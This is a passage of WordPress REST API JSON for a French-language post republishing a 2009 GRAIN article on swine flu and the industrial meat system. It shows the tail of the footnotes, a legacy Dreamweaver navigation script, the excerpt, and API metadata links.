\u00ab\u00a0Is Smithfield on the market?\u00a0\u00bb, Farming UK, 26 April 2009.<\/p>\n<p>[18] \u00ab\u00a0Smaller drug firms gaining from swine flu,\u00a0\u00bb Reuters, 27 April 2009:<br \/>\n<a href=\"http:\/\/www.reuters.com\/article\/pressReleasesMolt\/idUSTRE53Q5P620090427\" target=\"_blank\"> http:\/\/www.reuters.com\/article\/pressReleasesMolt\/idUSTRE53Q 5P620090427 <\/a><\/p>\n<p><script type=\"text\/JavaScript\"><!--\n&lt;!\nfunction MM_jumpMenu(targ,selObj,restore){ \/\/v3.0\n  eval(targ+\".location='\"+selObj.options[selObj.selectedIndex].value+\"'\");\n  if (restore) selObj.selectedIndex=0;\n}\n\/\/ &gt;\n\/\/ --><\/script><\/p>\n<hr size=\"1\" noshade=\"noshade\" \/><strong>Source <\/strong>: <span><a href=\"http:\/\/www.grain.org\/articles\/?id=50\">http:\/\/www.grain.org\/articles\/?id=50<\/a><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>de GRAIN\u00a0 &#8211; 29 April 2009 Un syst\u00e8me alimentaire qui tue : La peste porcine, dernier fl\u00e9au de l&rsquo;industrie de la viande Le Mexique assiste \u00e0 une r\u00e9p\u00e9tition infernale de l&rsquo;histoire de la grippe aviaire asiatique, mais \u00e0 une \u00e9chelle &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=2663\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7,11],"tags":[],"class_list":["post-2663","post","type-post","status-publish","format-standard","hentry","category-billets-du-ppld","category-documents-les-supplements"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/2663","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2663"}],"version-history":[{"count":0,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/2663\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2663"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2663"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2663"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}